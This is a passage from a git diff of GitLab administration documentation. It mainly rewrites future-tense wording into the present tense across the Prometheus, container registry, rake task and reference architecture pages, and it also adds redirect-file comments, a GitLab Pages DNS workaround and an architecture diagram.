[Grafana](https://grafana.com). For installations from source, you must install and configure it yourself. Prometheus and its exporters are on by default, starting with GitLab 9.0. -Prometheus will run as the `gitlab-prometheus` user and listen on +Prometheus runs as the `gitlab-prometheus` user and listen on `http://localhost:9090`. By default, Prometheus is only accessible from the GitLab server itself. -Each exporter will be automatically set up as a +Each exporter is automatically set up as a monitoring target for Prometheus, unless individually disabled. To disable Prometheus and all of its exporters, as well as any added in the future: @@ -179,8 +179,7 @@ The next step is to tell all the other nodes where the monitoring node is: After monitoring using Service Discovery is enabled with `consul['monitoring_service_discovery'] = true`, ensure that `prometheus['scrape_configs']` is not set in `/etc/gitlab/gitlab.rb`. Setting both -`consul['monitoring_service_discovery'] = true` and `prometheus['scrape_configs']` in `/etc/gitlab/gitlab.rb` -will result in errors. +`consul['monitoring_service_discovery'] = true` and `prometheus['scrape_configs']` in `/etc/gitlab/gitlab.rb` results in errors. ### Using an external Prometheus server @@ -234,7 +233,7 @@ To use an external Prometheus server: gitlab_rails['prometheus_address'] = '192.168.0.1:9090' ``` -1. To scrape NGINX metrics, you'll also need to configure NGINX to allow the Prometheus server +1. To scrape NGINX metrics, you must also configure NGINX to allow the Prometheus server IP. For example: ```ruby @@ -399,7 +398,7 @@ The GitLab exporter allows you to measure various GitLab metrics, pulled from Re > - Introduced in GitLab 9.0. > - Pod monitoring introduced in GitLab 9.4. -If your GitLab server is running within Kubernetes, Prometheus will collect metrics from the Nodes and [annotated Pods](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) in the cluster, including performance data on each container. This is particularly helpful if your CI/CD environments run in the same cluster, as you can use the [Prometheus project integration](../../../user/project/integrations/prometheus.md) to monitor them. +If your GitLab server is running within Kubernetes, Prometheus collects metrics from the Nodes and [annotated Pods](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) in the cluster, including performance data on each container. This is particularly helpful if your CI/CD environments run in the same cluster, as you can use the [Prometheus project integration](../../../user/project/integrations/prometheus.md) to monitor them. To disable the monitoring of Kubernetes: diff --git a/doc/administration/monitoring/prometheus/node_exporter.md b/doc/administration/monitoring/prometheus/node_exporter.md index fea78a3685c..b8d01f87e9f 100644 --- a/doc/administration/monitoring/prometheus/node_exporter.md +++ b/doc/administration/monitoring/prometheus/node_exporter.md @@ -24,5 +24,5 @@ To enable the node exporter: 1. Save the file, and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now begin collecting performance data from the node exporter +Prometheus begins collecting performance data from the node exporter exposed at `localhost:9100`. diff --git a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md index ff0cfc65e10..0029a6867c7 100644 --- a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md +++ b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md @@ -26,9 +26,9 @@ To enable the PgBouncer exporter: 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now begin collecting performance data from the PgBouncer exporter +Prometheus begins collecting performance data from the PgBouncer exporter exposed at `localhost:9188`. -The PgBouncer exporter will also be enabled by default if the +The PgBouncer exporter is enabled by default if the [`pgbouncer_role`](https://docs.gitlab.com/omnibus/roles/#postgresql-roles) role is enabled. diff --git a/doc/administration/monitoring/prometheus/postgres_exporter.md b/doc/administration/monitoring/prometheus/postgres_exporter.md index f7368556235..b28d541371f 100644 --- a/doc/administration/monitoring/prometheus/postgres_exporter.md +++ b/doc/administration/monitoring/prometheus/postgres_exporter.md @@ -21,12 +21,12 @@ To enable the PostgreSQL Server Exporter: If PostgreSQL Server Exporter is configured on a separate node, make sure that the local address is [listed in `trust_auth_cidr_addresses`](../../postgresql/replication_and_failover.md#network-information) or the - exporter will not be able to connect to the database. + exporter can't connect to the database. 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now automatically begin collecting performance data from +Prometheus begins collecting performance data from the PostgreSQL Server Exporter exposed under `localhost:9187`. ## Advanced configuration diff --git a/doc/administration/monitoring/prometheus/redis_exporter.md b/doc/administration/monitoring/prometheus/redis_exporter.md index 41a84f1f3ed..024624f5c67 100644 --- a/doc/administration/monitoring/prometheus/redis_exporter.md +++ b/doc/administration/monitoring/prometheus/redis_exporter.md @@ -25,5 +25,5 @@ To enable the Redis exporter: 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now begin collecting performance data from +Prometheus begins collecting performance data from the Redis exporter exposed at `localhost:9121`. diff --git a/doc/administration/monitoring/prometheus/registry_exporter.md b/doc/administration/monitoring/prometheus/registry_exporter.md index 3bf4db8a665..c3cfacd835a 100644 --- a/doc/administration/monitoring/prometheus/registry_exporter.md +++ b/doc/administration/monitoring/prometheus/registry_exporter.md @@ -21,7 +21,7 @@ To enable it: 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now automatically begin collecting performance data from +Prometheus automatically begins collecting performance data from the registry exporter exposed under `localhost:5001/metrics`. [← Back to the main Prometheus page](index.md) diff --git a/doc/administration/npm_registry.md b/doc/administration/npm_registry.md index cdcce79f8f9..690b6785941 100644 --- a/doc/administration/npm_registry.md +++ b/doc/administration/npm_registry.md @@ -3,3 +3,6 @@ redirect_to: 'packages/index.md' --- This document was moved to [another location](packages/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/operations.md b/doc/administration/operations.md index 9cd78105bbb..cfabb5ec27d 100644 --- a/doc/administration/operations.md +++ b/doc/administration/operations.md @@ -3,3 +3,6 @@ redirect_to: 'operations/index.md' --- This document was moved to [another location](operations/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/operations/speed_up_ssh.md b/doc/administration/operations/speed_up_ssh.md index 6dc83c42f53..2f3cf40a222 100644 --- a/doc/administration/operations/speed_up_ssh.md +++ b/doc/administration/operations/speed_up_ssh.md @@ -3,3 +3,6 @@ redirect_to: 'fast_ssh_key_lookup.md' --- This document was moved to [another location](fast_ssh_key_lookup.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/packages.md b/doc/administration/packages.md index cdcce79f8f9..690b6785941 100644 --- a/doc/administration/packages.md +++ b/doc/administration/packages.md @@ -3,3 +3,6 @@ redirect_to: 'packages/index.md' --- This document was moved to [another location](packages/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index 541bd99084c..a9ec2764b80 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -820,7 +820,7 @@ If you did not change the default location of the configuration file, run: sudo gitlab-ctl registry-garbage-collect ``` -This command will take some time to complete, depending on the amount of +This command takes some time to complete, depending on the amount of layers you have stored. If you changed the location of the Container Registry `config.yml`: @@ -867,7 +867,7 @@ You can perform garbage collection without stopping the Container Registry by pu it in read-only mode and by not using the built-in command. On large instances this could require Container Registry to be in read-only mode for a while. During this time, -you will be able to pull from the Container Registry, but you will not be able to +you are able to pull from the Container Registry, but you are not able to push. By default, the [registry storage path](#configure-storage-for-the-container-registry) @@ -896,7 +896,7 @@ To enable the read-only mode: sudo gitlab-ctl reconfigure ``` - This will set the Container Registry into the read only mode. + This command sets the Container Registry into the read only mode. 1. Next, trigger one of the garbage collect commands: @@ -908,7 +908,7 @@ To enable the read-only mode: sudo /opt/gitlab/embedded/bin/registry garbage-collect -m /var/opt/gitlab/registry/config.yml ``` - This will start the garbage collection, which might take some time to complete. + This command starts the garbage collection, which might take some time to complete. 1. Once done, in `/etc/gitlab/gitlab.rb` change it back to read-write mode: @@ -935,7 +935,7 @@ To enable the read-only mode: Ideally, you want to run the garbage collection of the registry regularly on a weekly basis at a time when the registry is not being in-use. -The simplest way is to add a new crontab job that it will run periodically +The simplest way is to add a new crontab job that it runs periodically once a week. Create a file under `/etc/cron.d/registry-garbage-collect`: @@ -1155,7 +1155,7 @@ curl localhost:5001/debug/vars ### Advanced Troubleshooting -We will use a concrete example in the past to illustrate how to +We use a concrete example to illustrate how to diagnose a problem with the S3 setup. #### Unexpected 403 error during push @@ -1227,14 +1227,14 @@ To verify that the certificates are properly installed, run: mitmproxy --port 9000 ``` -This will run mitmproxy on port `9000`. In another window, run: +This command runs mitmproxy on port `9000`. In another window, run: ```shell curl --proxy http://localhost:9000 https://httpbin.org/status/200 ``` -If everything is set up correctly, you will see information on the mitmproxy window and -no errors from the curl commands. +If everything is set up correctly, information is displayed on the mitmproxy window and +no errors are generated by the curl commands. #### Running the Docker daemon with a proxy @@ -1248,7 +1248,7 @@ export HTTPS_PROXY="https://localhost:9000" docker daemon --debug ``` -This will launch the Docker daemon and proxy all connections through mitmproxy. +This command launches the Docker daemon and proxies all connections through mitmproxy. #### Running the Docker client @@ -1273,4 +1273,4 @@ The above image shows: What does this mean? This strongly suggests that the S3 user does not have the right [permissions to perform a HEAD request](https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadObject.html). The solution: check the [IAM permissions again](https://docs.docker.com/registry/storage-drivers/s3/). -Once the right permissions were set, the error will go away. +Once the right permissions were set, the error goes away. diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index 0ebeb96d247..32812cb1e9a 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -811,3 +811,11 @@ Upgrading to an [officially supported operating system](https://about.gitlab.com This problem comes from the permissions of the GitLab Pages OAuth application. To fix it, go to **Admin > Applications > GitLab Pages** and edit the application. Under **Scopes**, ensure that the `api` scope is selected and save your changes. + +### Workaround in case no wildcard DNS entry can be set + +If the wildcard DNS [prerequisite](#prerequisites) can't be met, you can still use GitLab Pages in a limited fashion: + +1. [Move](../../user/project/settings/index.md#transferring-an-existing-project-into-another-namespace) + all projects you need to use Pages with into a single group namespace, for example `pages`. +1. Configure a [DNS entry](#dns-configuration) without the `*.`-wildcard, for example `pages.example.io`. diff --git a/doc/administration/plugins.md b/doc/administration/plugins.md index dbb733b9b19..f5d4b3aa2ff 100644 --- a/doc/administration/plugins.md +++ b/doc/administration/plugins.md @@ -3,3 +3,6 @@ redirect_to: 'file_hooks.md' --- This document was moved to [File Hooks](file_hooks.md), after the Plugins feature was renamed to File Hooks. + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/pseudonymizer.md b/doc/administration/pseudonymizer.md index 41a7ec087ac..2098708d6d9 100644 --- a/doc/administration/pseudonymizer.md +++ b/doc/administration/pseudonymizer.md @@ -28,7 +28,7 @@ To configure the pseudonymizer, you need to: - Provide a manifest file that describes which fields should be included or pseudonymized ([example `manifest.yml` file](https://gitlab.com/gitlab-org/gitlab/tree/master/config/pseudonymizer.yml)). - A default manifest is provided with the GitLab installation. Using a relative file path will be resolved from the Rails root. + A default manifest is provided with the GitLab installation, using a relative file path that resolves from the Rails root. Alternatively, you can use an absolute file path. - Use an object storage and specify the connection parameters in the `pseudonymizer.upload.connection` configuration option. @@ -100,7 +100,7 @@ sudo gitlab-rake gitlab:db:pseudonymizer sudo -u git -H bundle exec rake gitlab:db:pseudonymizer RAILS_ENV=production ``` -This will produce some CSV files that might be very large, so make sure the +This produces some CSV files that might be very large, so make sure the `PSEUDONYMIZER_OUTPUT_DIR` has sufficient space. As a rule of thumb, at least 10% of the database size is recommended. diff --git a/doc/administration/raketasks/check.md b/doc/administration/raketasks/check.md index f61a3107b3d..13f23815760 100644 --- a/doc/administration/raketasks/check.md +++ b/doc/administration/raketasks/check.md @@ -56,7 +56,7 @@ sudo -u git -H bundle exec rake gitlab:git:fsck RAILS_ENV=production Various types of files can be uploaded to a GitLab installation by users. These integrity checks can detect missing files. Additionally, for locally stored files, checksums are generated and stored in the database upon upload, -and these checks will verify them against current files. +and these checks verify them against current files. Currently, integrity checks are supported for the following types of file: @@ -137,8 +137,8 @@ Done! ## LDAP check -The LDAP check Rake task will test the bind DN and password credentials -(if configured) and will list a sample of LDAP users. This task is also +The LDAP check Rake task tests the bind DN and password credentials +(if configured) and lists a sample of LDAP users. This task is also executed as part of the `gitlab:check` task, but can run independently. See [LDAP Rake Tasks - LDAP Check](ldap.md#check) for details. diff --git a/doc/administration/raketasks/github_import.md b/doc/administration/raketasks/github_import.md index d549110c32f..a28cf488218 100644 --- a/doc/administration/raketasks/github_import.md +++ b/doc/administration/raketasks/github_import.md @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w To retrieve and import GitHub repositories, you need a [GitHub personal access token](https://github.com/settings/tokens). A username should be passed as the second argument to the Rake task, -which will become the owner of the project. You can resume an import +which becomes the owner of the project. You can resume an import with the same command. Bear in mind that the syntax is very specific. Remove any spaces within the argument block and @@ -20,7 +20,7 @@ before/after the brackets. Also, some shells (for example, `zsh`) can interpret ## Caveats If the GitHub [rate limit](https://developer.github.com/v3/#rate-limiting) is reached while importing, -the importing process will wait (`sleep()`) until it can continue importing. +the importing process waits (`sleep()`) until it can continue importing. ## Importing multiple projects @@ -35,8 +35,8 @@ bundle exec rake "import:github[access_token,root,foo/bar]" RAILS_ENV=production ``` In this case, `access_token` is your GitHub personal access token, `root` -is your GitLab username, and `foo/bar` is the new GitLab namespace/project that -will get created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. +is your GitLab username, and `foo/bar` is the new GitLab namespace/project +created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. ## Importing a single project diff --git a/doc/administration/raketasks/maintenance.md b/doc/administration/raketasks/maintenance.md index b93442be0a1..5fc95fcb1ae 100644 --- a/doc/administration/raketasks/maintenance.md +++ b/doc/administration/raketasks/maintenance.md @@ -107,8 +107,8 @@ The `gitlab:check` Rake task runs the following Rake tasks: - `gitlab:sidekiq:check` - `gitlab:app:check` -It will check that each component was set up according to the installation guide and suggest fixes -for issues found. This command must be run from your application server and will not work correctly on +It checks that each component was set up according to the installation guide and suggest fixes +for issues found. This command must be run from your application server and doesn't work correctly on component servers like [Gitaly](../gitaly/index.md#run-gitaly-on-its-own-server). You may also have a look at our troubleshooting guides for: @@ -300,7 +300,7 @@ To check the status of specific migrations, you can use the following Rake task: sudo gitlab-rake db:migrate:status ``` -This will output a table with a `Status` of `up` or `down` for +This outputs a table with a `Status` of `up` or `down` for each Migration ID. ```shell @@ -313,7 +313,7 @@ database: gitlabhq_production ## Run incomplete database migrations -Database migrations can be stuck in an incomplete state. That is, they'll have a `down` +Database migrations can be stuck in an incomplete state, with a `down` status in the output of the `sudo gitlab-rake db:migrate:status` command. To complete these migrations, use the following Rake task: diff --git a/doc/administration/raketasks/project_import_export.md b/doc/administration/raketasks/project_import_export.md index d83ab6e5cee..976fcdc8091 100644 --- a/doc/administration/raketasks/project_import_export.md +++ b/doc/administration/raketasks/project_import_export.md @@ -36,7 +36,7 @@ sudo gitlab-rake gitlab:import_export:version bundle exec rake gitlab:import_export:version RAILS_ENV=production ``` -The current list of DB tables that will be exported can be listed by using the following command: +The current list of DB tables to export can be listed by using the following command: ```shell # Omnibus installations diff --git a/doc/administration/raketasks/uploads/migrate.md b/doc/administration/raketasks/uploads/migrate.md index 075b27fb70d..552a81a765d 100644 --- a/doc/administration/raketasks/uploads/migrate.md +++ b/doc/administration/raketasks/uploads/migrate.md @@ -16,7 +16,7 @@ There is a Rake task for migrating uploads between different storage types. After [configuring the object storage](../../uploads.md#using-object-storage) for GitLab's uploads, use this task to migrate existing uploads from the local storage to the remote storage. -All of the processing will be done in a background worker and requires **no downtime**. +All of the processing is done in a background worker and requires **no downtime**. Read more about using [object storage with GitLab](../../object_storage.md). @@ -133,7 +133,7 @@ migrate your data out of object storage and back into your local storage. CAUTION: **Warning:** **Extended downtime is required** so no new files are created in object storage during -the migration. A configuration setting will be added soon to allow migrating +the migration. A configuration setting is planned to allow migrating from object storage to local files with only a brief moment of downtime for configuration changes. To follow progress, see the [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30979). diff --git a/doc/administration/raketasks/uploads/sanitize.md b/doc/administration/raketasks/uploads/sanitize.md index 4f7c99babd8..2ab2136ad2f 100644 --- a/doc/administration/raketasks/uploads/sanitize.md +++ b/doc/administration/raketasks/uploads/sanitize.md @@ -41,8 +41,8 @@ The Rake task accepts following parameters. | Parameter | Type | Description | |:-------------|:--------|:----------------------------------------------------------------------------------------------------------------------------| -| `start_id` | integer | Only uploads with equal or greater ID will be processed | -| `stop_id` | integer | Only uploads with equal or smaller ID will be processed | +| `start_id` | integer | Only uploads with equal or greater ID are processed | +| `stop_id` | integer | Only uploads with equal or smaller ID are processed | | `dry_run` | boolean | Do not remove EXIF data, only check if EXIF data are present or not. Defaults to `true` | | `sleep_time` | float | Pause for number of seconds after processing each image. Defaults to 0.3 seconds | | `uploader` | string | Run sanitization only for uploads of the given uploader: `FileUploader`, `PersonalFileUploader`, or `NamespaceFileUploader` | @@ -66,7 +66,7 @@ To remove EXIF data on uploads with an ID between 100 and 5000 and pause for 0.1 sudo RAILS_ENV=production -u git -H bundle exec rake gitlab:uploads:sanitize:remove_exif[100,5000,false,0.1] 2>&1 | tee exif.log ``` -The output is written into an `exif.log` file because it will probably be long. +The output is written into an `exif.log` file because it is often long. If sanitization fails for an upload, an error message should be in the output of the Rake task. Typical reasons include that the file is missing in the storage or it's not a valid image. diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md index 9f522e0d599..d1afcd0343e 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -1356,19 +1356,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1376,8 +1374,8 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to @@ -1406,8 +1404,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md index b106f7bced1..cf86bf15333 100644 --- a/doc/administration/reference_architectures/25k_users.md +++ b/doc/administration/reference_architectures/25k_users.md @@ -1356,19 +1356,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1376,8 +1374,8 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to @@ -1406,8 +1404,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md index b5b3e4e0300..c0c1d566255 100644 --- a/doc/administration/reference_architectures/3k_users.md +++ b/doc/administration/reference_architectures/3k_users.md @@ -1067,19 +1067,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1087,8 +1085,8 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to @@ -1117,8 +1115,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md index 152eb9cb90d..3149bbb0934 100644 --- a/doc/administration/reference_architectures/50k_users.md +++ b/doc/administration/reference_architectures/50k_users.md @@ -1356,19 +1356,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1376,8 +1374,8 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to @@ -1406,8 +1404,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md index f023971bdc0..519e59f8552 100644 --- a/doc/administration/reference_architectures/5k_users.md +++ b/doc/administration/reference_architectures/5k_users.md @@ -37,6 +37,63 @@ costly-to-operate environment by using the | Object storage | n/a | n/a | n/a | n/a | n/a | | NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +```mermaid +stateDiagram-v2 + [*] --> LoadBalancer + LoadBalancer --> ApplicationServer + + ApplicationServer --> BackgroundJobs + ApplicationServer --> Gitaly + ApplicationServer --> Redis + ApplicationServer --> PgBouncer + PgBouncer --> Database + ApplicationServer --> ObjectStorage + BackgroundJobs --> ObjectStorage + + ApplicationMonitoring -->ApplicationServer + ApplicationMonitoring -->Redis + ApplicationMonitoring -->PgBouncer + ApplicationMonitoring -->Database + ApplicationMonitoring -->BackgroundJobs + + state Database { + "PG_Primary_Node" + "PG_Secondary_Node_1..2" + } + state Redis { + "R_Primary_Node" + "R_Replica_Node_1..2" + "R_Consul/Sentinel_1..3" + } + + state Gitaly { + "Gitaly_1..2" + } + + state BackgroundJobs { + "Sidekiq_1..4" + } + + state ApplicationServer { + "GitLab_Rails_1..3" + } + + state LoadBalancer { + "LoadBalancer_1" + } + + state ApplicationMonitoring { + "Prometheus" + "Grafana" + } + + state PgBouncer { + "Internal_Load_Balancer" + "PgBouncer_1..3" + + } +``` + The Google Cloud Platform (GCP) architectures were built and tested using the [Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) CPU platform. On different hardware you may find that adjustments, either lower @@ -1066,19 +1123,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note 